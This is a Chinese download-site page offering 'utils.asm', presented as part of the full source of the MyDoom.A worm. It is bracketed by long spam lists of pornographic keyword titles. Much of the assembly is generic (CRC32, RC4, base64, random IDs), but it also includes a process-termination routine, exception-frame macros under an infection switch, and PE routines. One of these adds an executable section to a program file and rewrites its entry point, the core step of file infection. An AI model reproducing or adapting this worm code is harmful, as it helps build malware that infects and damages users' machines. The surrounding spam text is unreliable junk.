亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? utils.asm

?? 蠕蟲mydoom.a版本的完整源代碼
?? ASM
字號:
; Utils
; #########################################################################

.data?
        dwRandSeed              dd      ?
        CRCPoly                 equ     0EDB88320h ; PK-ZIP polynominal
        CRCTable                dd      256 dup(?)

.code

; Create CRC32 table
CRC32BuildTable proc
        xor     eax, eax
@a_gen:
        mov     edx, eax
        shl     edx, 1

        push    9
        pop     ecx
@l:
        shr     edx, 1
        jnc     @no_xor
        xor     edx, CRCPoly
@no_xor:
        loop    @l

        mov     dword ptr[CRCTable+eax*4], edx
        inc     al
        jnz     @a_gen
        ret
CRC32BuildTable endp

; Update CRC32 value, initially Crc32 should set to 0
CRC32UpdateRar proc uses esi Crc32, Buf, BufLen: DWORD
        mov     eax, Crc32
        mov     esi, Buf
        mov     ecx, BufLen
        jecxz   @no_data

@loop:
        mov     edx, eax
        shr     edx, 8
        xor     al, byte ptr[esi]
        and     eax, 0ffh
        mov     eax, dword ptr[CRCTable+eax*4]
        xor     eax, edx
        inc     esi
        loop    @loop

@no_data:
        ret
CRC32UpdateRar endp

; Update CRC32 value, initially Crc32 should set to 0
CRC32Update proc Crc32, Buf, BufLen: DWORD
        mov     eax, Crc32
        not     eax
        invoke  CRC32UpdateRar, eax, Buf, BufLen
        not     eax
        ret
CRC32Update endp

; Calc file checksum
CRC32File proc Handle: DWORD
        LOCAL   buf, bRead, crc32: DWORD

        invoke  GlobalAlloc, GMEM_FIXED, 8192
        mov     buf, eax

        mov     crc32, 0
        invoke  SetFilePointer, Handle, 0, NULL, FILE_BEGIN
@l:
        invoke  ReadFile, Handle, buf, 8192, addr bRead, NULL
        .IF     (bRead == 0)
                jmp     @e
        .ENDIF
        invoke  CRC32Update, crc32, buf, bRead
        mov     crc32, eax
        jmp     @l

@e:
        invoke  GlobalFree, buf
        invoke  SetFilePointer, Handle, 0, NULL, FILE_BEGIN
        mov     eax, crc32
        ret
CRC32File endp

; Initialize random generator
Randomize proc
        invoke  GetTickCount
        mov     dwRandSeed, eax
        ret
Randomize endp

; Rand returns random number from [0..N-1] set
Rand proc N: DWORD
        xor     eax, eax
        .IF     (N < 2)
                ret
        .ENDIF
        invoke  CRC32Update, eax, offset dwRandSeed, 4
        inc     dwRandSeed
        not     eax
        xor     dwRandSeed, eax
        not     eax
        xor     edx, edx
        div     N
        xchg    eax, edx
        ret
Rand endp

; Fill memory of the given Len pointed by lpMem with NULLs
ZeroMemory proc uses edi lpMem, Len: DWORD
        cld
        mov     edi, lpMem
        mov     ecx, Len
        shr     ecx, 2
        xor     eax, eax
        rep stosd
        mov     ecx, Len
        and     ecx, 3
        rep stosb
        ret
ZeroMemory endp

; Generate random chars of a given length
GetRandomID proc uses edi ebx lpOutput, dwLen: DWORD
        mov     ebx, dwLen
        mov     edi, lpOutput

@loop:
        invoke  Rand, 'z'-'a'+1
        add     eax, 'a'
        cld
        stosb
        dec     ebx
        jnz     @loop

        ret
GetRandomID endp

; Generate random number of a given length
GetRandomNumID proc uses edi ebx lpOutput, dwLen: DWORD
        mov     ebx, dwLen
        mov     edi, lpOutput

@loop:
        invoke  Rand, '9'-'0'+1
        add     eax, '0'
        cld
        stosb
        dec     ebx
        jnz     @loop

        ret
GetRandomNumID endp

; Terminate process
KillProcess proc ID: DWORD
        invoke  OpenProcess, PROCESS_TERMINATE, 0, ID
        .IF     eax
                push    eax
                invoke  TerminateProcess, eax, 0
                call    CloseHandle
        .ENDIF
        ret
KillProcess endp

; Encodes data to base64 format
Base64Encode proc uses esi edi ebx lpSrc, lpDst, dwSrcLen: DWORD
        mov     esi, lpSrc
        mov     edi, lpDst
        mov     ecx, dwSrcLen

        xor     ebx, ebx

@l:
        jecxz   @b64_ret

        lodsb
        shl     eax, 16
        cmp     ecx, 1
        jz      @work
        lodsb
        shl     ax, 8
        cmp     ecx, 2
        jz      @work
        lodsb

@work:
        ; Output b64 quad
        mov     edx, eax
        ror     edx, 24

        push    ecx
        push    4
        pop     ecx
@l2:
        call    @b64_write
        loop    @l2
        pop     ecx

        inc     ebx
        .IF     ebx == 18
                xor     ebx, ebx
                mov     ax, 0a0dh
                stosw
        .ENDIF

        sub     ecx, 3
        jns     @l

        ; Pad
        neg     ecx
        sub     edi, ecx
        mov     al, '='
        rep stosb

@b64_ret:
        ret

@b64_write:
        rol     edx, 6
        mov     eax, edx
        and     al, 00111111b
        cmp     al, 62
        jae     @write_spec

        cmp     al, 52
        jae     @write_number

        ; Uppercase
        add     al, 'A'
        cmp     al, 'A'+26
        jb      @write
        ; Lowercase
        add     al, 6
        jmp     @write
        ; Number
@write_number:
        add     al, '0'-52
        jmp     @write
        ; Special: +/
@write_spec:
        sub     al, 62
        shl     al, 2
        add     al, 43        
@write:
        stosb
                
        retn
Base64Encode endp

; Load dll functions
PayLoadDll proc uses ebx esi edi szLib, dwFuncs: DWORD
        invoke  LoadLibrary, szLib
        test    eax, eax
        jz      @plg_err

        mov     ebx, eax
        mov     edi, szLib
        mov     esi, dwFuncs
@l:
        cld
        xor     eax, eax
        or      ecx, -1
        repnz scasb                
        cmp     byte ptr[edi], 0
        jz      @e
        invoke  GetProcAddress, ebx, edi
        .IF     !eax
                ret
        .ENDIF
        mov     dword ptr[esi], eax
        add     esi, 4
        jmp     @l
@e:
        mov     eax, 1
@plg_err:
        ret
PayLoadDll endp

; RC4 Cipher
; #########################################################################

rc4_state struct
    x   BYTE   ?
    y   BYTE   ?
    m   BYTE   256 dup(?)
rc4_state ends

; Reset RC4 state, initialize encryption key
RC4Setup proc uses esi edi ebx state, key, len: DWORD
        LOCAL   a: BYTE
        LOCAL   j: BYTE

        invoke  ZeroMemory, state, sizeof rc4_state
        mov     edi, state
        inc     edi
        inc     edi             ; m
        
        xor     edx, edx
        mov     ecx, 256
@l:
        mov     byte ptr[edi+edx], dl
        inc     dl
        loop    @l

        mov     edi, state
        inc     edi
        inc     edi             ; m
        mov     esi, key

        mov     j, 0
        xor     ecx, ecx        ; k
        xor     ebx, ebx        ; i

@l_gen:
        mov     al, byte ptr[edi+ebx]
        mov     a, al

        add     j, al
        mov     al, byte ptr[esi+ecx]
        add     j, al

        movzx   edx, j
        mov     al, byte ptr[edi+edx]
        mov     byte ptr[edi+ebx], al
        mov     al, a
        mov     byte ptr[edi+edx], al

        inc     ecx
        .IF     ecx >= len
                xor     ecx, ecx
        .ENDIF
        inc     bl
        jnz     @l_gen
        ret
RC4Setup endp

; Crypt data using RC4 algorithm & update the state
RC4Crypt proc uses ebx esi edi state, cdata, len: DWORD
        LOCAL   a: BYTE
        LOCAL   b: BYTE
        LOCAL   x: BYTE
        LOCAL   y: BYTE
        LOCAL   i: DWORD

        mov     ebx, state
        assume  ebx: ptr rc4_state
        mov     al, [ebx].x
        mov     x, al
        mov     al, [ebx].y
        mov     y, al
        mov     edi, ebx
        inc     edi
        inc     edi

        mov     esi, cdata

        mov     i, 0

        mov     ecx, len
        jecxz   @no_data

@l:
        ; x = (unsigned char) ( x + 1 ); a = m[x];
        inc     x
        movzx   eax, x
        movzx   edx, byte ptr[edi+eax]   ; a
        mov     a, dl

        ; y = (unsigned char) ( y + a );
        add     y, dl

        ; m[x] = b = m[y];
        movzx   eax, y
        mov     dl, byte ptr[edi+eax]
        mov     b, dl
        movzx   eax, x
        mov     byte ptr[edi+eax], dl

        ; m[y] = a;
        movzx   eax, y
        mov     dl, a
        mov     byte ptr[edi+eax], dl

        ; data[i] ^= m[(unsigned char) ( a + b )];
        mov     dl, a
        add     dl, b
        mov     dl, byte ptr[edi+edx]
        mov     eax, i
        xor     byte ptr[esi+eax], dl

        inc     i
        loop    @l

@no_data:
        mov     al, x
        mov     byte ptr[ebx], al
        mov     al, y
        mov     byte ptr[ebx+1], al
        ret
RC4Crypt endp

IFNDEF  DisableInfect
;---- STRUCTs ----
sSEH struct
        OrgEsp            dd ?
        OrgEbp            dd ?
        SaveEip           dd ?
sSEH ends

; Used in macro
SehHandler proc C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
        MOV  EAX, pContext

        IFDEF SehStruct
        PUSH SEH.SaveEip
        POP  [EAX][CONTEXT.regEip]
        PUSH SEH.OrgEsp
        POP  [EAX][CONTEXT.regEsp]
        PUSH SEH.OrgEbp
        POP  [EAX][CONTEXT.regEbp]
        ENDIF

        MOV  EAX, ExceptionContinueExecution

        RET
SehHandler endp

InstSehFrame macro ContinueAddr
        assume fs: nothing
        
        IFNDEF  SehStruct
                SehStruct equ 1

                .data
                        SEH    sSEH <>

                .code
        ENDIF
   
        mov  SEH.SaveEip, ContinueAddr
        mov  SEH.OrgEbp, ebp
        push offset SehHandler
        push fs:[0]
        mov  SEH.OrgEsp, esp
        mov  fs:[0], esp
endm

KillSehFrame macro
        pop  fs:[0]
        add  esp, 4
endm
ENDIF

PEPtrA macro V
        mov     V, lpFile
        mov     V, dword ptr[V+3ch]
        add     V, lpFile
endm

PEPtrB macro V, B
        mov     V, B
        mov     V, dword ptr[V+3ch]
        add     V, B
endm

SectionHead struct
        ObjName         BYTE    8 dup(?)
        VirtSize        DWORD   ?
        RVA             DWORD   ?
        PhysSize        DWORD   ?
        PhysOffs        DWORD   ?
        Reserved        BYTE    0ch dup(?)
        Flags           DWORD   ?
SectionHead ends

SectionCount proc lpFile: DWORD
        PEPtrA  eax
        movzx   eax, word ptr[eax+06h]
        ret
SectionCount endp

SectionHeadPtr proc Num, lpFile: DWORD
        ; Num * 28h
        xor     edx, edx
        mov     eax, 28h ; obj table size
        mul     Num

        ; ...+ PE + 0f8h
        PEPtrA  edx
        add     eax, edx
        add     eax, 0f8h ; size of PE header
        ret
SectionHeadPtr endp

SectionDataPtr proc Num, lpFile: DWORD
        invoke  SectionHeadPtr, Num, lpFile
        mov     eax, [eax][SectionHead.PhysOffs]
        add     eax, lpFile
        ret
SectionDataPtr endp

SectionPhysSize proc Num, lpFile: DWORD
        invoke  SectionHeadPtr, Num, lpFile
        mov     eax, [eax][SectionHead.PhysSize]
        ret
SectionPhysSize endp

; Creates new section header
AddEPSection proc uses ebx lpFile, dwSize, MakeOEP: DWORD
        LOCAL   NewRVA, NewPhysOffs: DWORD

        invoke  SectionCount, lpFile
        dec     eax
        invoke  SectionHeadPtr, eax, lpFile
        mov     ebx, eax

        ; This chunk can be optimized, w/o using of div (too lazy to think on)
        PEPtrA  ecx
        mov     ecx, dword ptr[ecx+38h] ; Object Align
        xor     edx, edx
        mov     eax, [ebx][SectionHead.VirtSize]
        div     ecx
        sub     ecx, edx

        mov     edx, [ebx][SectionHead.VirtSize]
        add     edx, ecx
        add     edx, [ebx][SectionHead.RVA]
        mov     NewRVA, edx

        m2m     NewPhysOffs, [ebx][SectionHead.PhysSize]
        mov     eax, [ebx][SectionHead.PhysOffs]
        add     NewPhysOffs, eax

        invoke  SectionCount, lpFile
        invoke  SectionHeadPtr, eax, lpFile
        mov     ebx, eax

        invoke  ZeroMemory, eax, 28h

        ; Write header data
        m2m     [ebx][SectionHead.VirtSize], dwSize
        m2m     [ebx][SectionHead.PhysSize], dwSize
        m2m     [ebx][SectionHead.PhysOffs], NewPhysOffs
        m2m     [ebx][SectionHead.RVA], NewRVA
        mov     [ebx][SectionHead.Flags], 0E0000020h

        ; Increment section count
        PEPtrA  eax
        inc     word ptr[eax+06h]

        ; ImageSize
        m2m     dword ptr[eax+50h], NewRVA
        mov     edx, dwSize
        add     dword ptr[eax+50h], edx

        ; Remove BoundImport
        mov     dword ptr[eax+0d0h], 0
        mov     dword ptr[eax+0d4h], 0

        ; Write entry point
        .IF     MakeOEP
                m2m     dword ptr[eax+28h], NewRVA
        .ELSE
                mov     eax, NewRVA
        .ENDIF
        ret
AddEPSection endp

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲国产视频一区| 欧美二区三区91| 久久av老司机精品网站导航| 亚洲免费观看高清完整版在线观看熊| 国产亚洲精品超碰| 精品日韩在线一区| 日韩欧美精品三级| 精品黑人一区二区三区久久| 欧美一区二区三区婷婷月色| 日韩一区二区影院| 欧美一级片在线| 日韩精品一区二区在线| 欧美一区二区三区小说| 欧美一区二区三区免费| 欧美一区二区三区免费| 日韩精品一区在线| 91精品国产麻豆| 欧美日韩一区二区在线观看| 在线视频国内自拍亚洲视频| 欧美性一二三区| 精品日韩在线观看| 中文字幕在线视频一区| 日本一二三四高清不卡| 久久夜色精品国产噜噜av| 在线国产电影不卡| 欧美综合天天夜夜久久| 欧美猛男gaygay网站| 欧美一区二区三区电影| 精品国产99国产精品| 欧美激情一区二区三区在线| 亚洲人妖av一区二区| 午夜日韩在线观看| 狠狠狠色丁香婷婷综合久久五月| 激情久久久久久久久久久久久久久久| 国产精品一色哟哟哟| 91久久免费观看| 日韩精品一区二| 最新不卡av在线| 一区二区在线看| 天使萌一区二区三区免费观看| 欧美96一区二区免费视频| 国产91在线|亚洲| 欧洲视频一区二区| 日韩三级视频中文字幕| 亚洲男人电影天堂| 精品伊人久久久久7777人| www.性欧美| 日韩一区二区三区视频| 亚洲欧洲日韩综合一区二区| 调教+趴+乳夹+国产+精品| 国产精品1024久久| 在线成人av网站| 亚洲欧美日韩久久精品| 国产成人免费视频精品含羞草妖精| 欧美午夜免费电影| 国产精品日韩成人| 黑人巨大精品欧美一区| 欧美日韩在线精品一区二区三区激情 | 亚洲人吸女人奶水| 精品一区中文字幕| 91精品国产美女浴室洗澡无遮挡| 亚洲欧洲日本在线| 亚洲精品欧美激情| 欧美一级在线观看| 99天天综合性| 亚洲黄色av一区| 日韩欧美在线不卡| 成人app在线| 国产综合一区二区| 免费人成网站在线观看欧美高清| 91国产免费观看| 国产福利一区在线| 欧美精品日韩一本| 欧美丰满少妇xxxxx高潮对白| 国产精品午夜在线观看| 国产精品夜夜嗨| 国产日韩视频一区二区三区| 精品一区二区三区久久久| 日韩一区二区高清| 精品一二三四在线| 久久久亚洲午夜电影| 国产一区二区不卡在线| 91免费小视频| 国产成人精品三级| 天天色图综合网| 亚洲色欲色欲www| 欧美影视一区二区三区| 精品免费国产一区二区三区四区| 久久电影网电视剧免费观看| 日av在线不卡| 午夜av电影一区| 日韩电影在线一区二区三区| 一区二区三区欧美日韩| 五月激情综合网| 亚洲成人久久影院| 亚洲一区在线观看视频| 亚洲欧洲精品一区二区精品久久久| 久久久久久一级片| 国产精品福利电影一区二区三区四区| 日韩精品一区二区三区视频| 精品av综合导航| 国产欧美久久久精品影院| 国产女主播视频一区二区| 亚洲乱码精品一二三四区日韩在线| 亚洲欧美成aⅴ人在线观看 | 日韩电影一区二区三区| 丝袜美腿亚洲综合| 国产成人aaa| 欧美日韩国产影片| 日韩精品一区第一页| 国产一区二区福利视频| 欧美一区二区三区四区在线观看| 偷拍亚洲欧洲综合| 欧美一区二区久久| 在线观看亚洲一区| 欧美高清在线一区二区| 一区二区三区欧美日| 无码av免费一区二区三区试看| 日韩国产精品久久久久久亚洲| 老司机精品视频在线| 国产精品视频在线看| 国产精品色在线| 精品国产自在久精品国产| 激情综合一区二区三区| 国产精品每日更新| 欧美一级一区二区| 色综合色综合色综合| 经典一区二区三区| 日本中文字幕一区二区有限公司| 国产欧美精品一区二区色综合| 在线不卡免费av| 99精品黄色片免费大全| 国产欧美日本一区二区三区| 处破女av一区二区| 1024成人网| 色婷婷久久久久swag精品| 亚洲综合图片区| 91精品国产综合久久婷婷香蕉| 一区精品在线播放| 色就色 综合激情| 福利91精品一区二区三区| 精品国产不卡一区二区三区| 欧美国产成人在线| 精品久久久久久无| 日韩一二在线观看| 欧美一区二区国产| 欧美高清激情brazzers| 色94色欧美sute亚洲线路二| eeuss国产一区二区三区| 激情综合网激情| 精品一区精品二区高清| 蜜桃av噜噜一区二区三区小说| 亚洲一区二区三区精品在线| 亚洲视频一区二区在线| 综合久久久久久久| 日韩美女久久久| 亚洲在线视频网站| 亚洲国产一区二区三区青草影视| 亚洲一区在线电影| 亚洲亚洲人成综合网络| 丝袜诱惑制服诱惑色一区在线观看| 亚洲不卡在线观看| 日日噜噜夜夜狠狠视频欧美人| 偷拍亚洲欧洲综合| 蓝色福利精品导航| 国产精品伊人色| 不卡一区中文字幕| 欧美亚洲高清一区| 欧美一二三在线| 国产无人区一区二区三区| 中日韩av电影| 亚洲国产成人va在线观看天堂| 日韩综合在线视频| 激情综合一区二区三区| 成人性视频网站| 色婷婷国产精品久久包臀| 欧美日韩久久久一区| 日韩女优制服丝袜电影| 欧美经典一区二区| 亚洲影院久久精品| 麻豆精品一区二区三区| 99在线精品视频| 欧美一区二区三区人| 欧美国产日韩亚洲一区| 亚洲一区二区三区中文字幕在线 | 日韩电影在线一区| 国产福利一区在线| 欧美三级韩国三级日本一级| 精品福利视频一区二区三区| 17c精品麻豆一区二区免费| 香蕉成人啪国产精品视频综合网| 国产中文字幕一区| 欧美中文字幕不卡| 国产欧美日韩三级| 亚洲不卡一区二区三区| 国产高清视频一区| 欧美精品三级在线观看| 日本一区二区视频在线观看| 亚洲成人免费av| 99久久久国产精品|